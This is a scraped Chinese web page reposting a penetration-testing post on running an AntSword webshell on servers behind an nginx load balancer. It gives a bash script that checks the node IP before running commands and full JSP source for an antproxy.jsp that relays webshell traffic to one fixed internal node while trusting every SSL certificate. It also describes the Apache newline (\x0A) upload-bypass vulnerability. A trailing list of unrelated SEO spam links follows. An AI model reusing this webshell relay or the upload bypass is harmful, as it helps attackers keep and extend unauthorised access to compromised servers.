当前位置: 首页 > news >正文

网站升级建设费用吗alexa

网站升级建设费用吗,alexa,网站怎么做才吸引人,色卡网站负载均衡反向代理下的webshell上传负载均衡负载均衡下webshell上传的四大难点难点一:需要在每一台节点的相同位置上传相同内容的webshell难点二:无法预测下一次请求是哪一台机器去执行难点三:当我们需要上传一些工具时,麻烦来了&a…

负载均衡反向代理下的webshell上传

  • 负载均衡
  • 负载均衡下webshell上传的四大难点
      • 难点一:需要在每一台节点的相同位置上传相同内容的webshell
      • 难点二:无法预测下一次请求是哪一台机器去执行
      • 难点三:当我们需要上传一些工具时,麻烦来了:
      • 难点四:由于目标机器不能出外网
  • 解决方案如下:
      • 方法一:关掉其中一台机器
      • 方法二:执行前先判断IP;要不要执行;
      • 方法三:在Web 层做一次 HTTP 流量转发
  • apache换行解析漏洞

负载均衡

负载均衡是一种廉价的扩容的方案,它的概念不是本文的重点,不知道的可以去查资料学习。实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。

名称策略
轮询(默认)按请求顺序逐一分配
weight根据权重分配
ip_hash根据客户端IP分配
least_conn根据连接数分配
fair (第三方)根据响应时间分配
url_hash (第三方)根据URL分配

整体架构是这个样子
在这里插入图片描述

负载均衡下webshell上传的四大难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因。
![在这里插入图片描述](https://img-blog.csdnimg.cn/cd6ebcd7297a44bebfe33

难点二:无法预测下一次请求是哪一台机器去执行

我们在执行命令时,无法知道下次的请求交给哪台机器去执行。我们执行 hostname -i查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

难点三:当我们需要上传一些工具时,麻烦来了:

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:由于目标机器不能出外网

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案如下:

方法一:关掉其中一台机器

首先在测试阶段,我们可以关闭一台服务器,只保留一台机器,因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么妥妥的就能继续了。 但在真实项目中,是不允许的,会严重影响业务。

方法二:执行前先判断IP;要不要执行;

1,先在docker容器中安装net-tools和vim命令

apt-get update
apt-get install net-tools
apt-get install vim

2, 然后创建一下代码,在两个后端服务器都上传

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
if [$MYIP == "172.19.0.2" ]; thenecho "Node1. I will execute command.\n=======\n"ifconfigelseecho "Other. Try again."fi

如果这里你的tomcat外网不能访问,记得去Linux主机上的8080端口开放,因为如果你要测试的话需要安装vim和net-tools)这样一来,确实是能够保证执行的命令是在我们想要的机器上了,效果如图;
在这里插入图片描述
这样操作保证了我们的命令可以执行到目标机器上,但是却不能上传文件,工具,http隧道问题,功能比较单一,这种方法勉强能用。

方法三:在Web 层做一次 HTTP 流量转发

第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx,nginx 接到数据包之后,会有两种情况:
第 2 步,把请求传递给了目标机器,请求了 Node1 机器上的/antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了Node1 机器上的 /ant.jsp,成功执行。
第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

这里一定要保证每一台node上都要有相同的文件(千万别用上传,上传会将文件分片)
在这里插入图片描述
修改 Shell 配置, 将 URL 部分填写为 web.jsp 的地址,其它配置不变。
在这里插入图片描述

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!public static void ignoreSsl() throws Exception {HostnameVerifier hv = new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}@Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}@Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc = SSLContext.getInstance("TLS");sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%>
<%String target = "http://172.19.0.2:8080/ant.jsp";URL url = new URL(target);if ("https".equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn = (HttpURLConnection)url.openConnection();StringBuilder sb = new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baos=new ByteArrayOutputStream();OutputStream out2 = conn.getOutputStream();DataInputStream in=new DataInputStream(request.getInputStream());byte[] buf = new byte[1024];int len = 0;while ((len = in.read(buf)) != -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream = conn.getInputStream();OutputStream out3=response.getOutputStream();int len2 = 0;while ((len2 = inputStream.read(buf)) != -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%>

在这里插入图片描述

apache换行解析漏洞

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
搭建完毕后Apache运行在http://your-ip:8080
漏洞复现
上传一个名为1.php的文件,被拦截:
在这里插入图片描述
在1.php后面插入一个\x0A(只能是一个\x0A),不再拦截:
在这里插入图片描述

http://www.yayakq.cn/news/698395/

相关文章:

  • 建站推广哪里有建站新闻资讯wordpress视频无法播放视频播放
  • 安居客网站是用什么程序做的wordpress 移动导航
  • 医疗机构网站以患者做宣传大朗做网站公司
  • wordpress访问网站很慢中铁建设集团有限公司
  • 建立第一个网站vs2010网站开发源码
  • 网站前期策划国外网站为什么不用备案
  • 衡水网站建设公司在工商网上怎么注册公司
  • 口碑好的定制网站建设提供商做网站都需要年服务费吗
  • 衣服网站建设策划书举报网站建设运行情况
  • 扁平化颜色网站wordpress登陆后台总是跳转首页
  • 流行的网站开发技术定制开发生产管理软件推荐
  • 北京通州网站建设公司WordPress用来营销
  • ktv网站建设方案泸州网站建设公司
  • 网站开发招聘实习如何在建设厅网站搜索企业
  • 自己做网站要会什么软件下载做网站的大公司都有哪些
  • 查询系统网站模板营销网页设计公司
  • 链接制作网站google官网入口注册
  • 网上购物商城排名网络推广怎么优化
  • 在线建设网站企业品牌网站建设定制开发
  • 搭建网站做财务系统小程序开发步骤大全
  • 东莞网站平台后缀wordpress修改首页名称
  • 廊坊企业网站团队阳江招聘网站
  • 广西网站建设推广无忧网站建设价格
  • 企业做网页还是网站vlc WordPress
  • 学习网站建设的网站注册公司需要什么条件才能开
  • 查公司查企业用什么网站连城住房和城乡建设局门户网站
  • 学做网站论坛课程建站工具大全
  • 帮他人做视频网站违法吗最新网页游戏排行榜2021
  • 用asp.net做购物车网站网站设计建设趋势
  • 长沙做网站kaodezhuWordPress发文章同步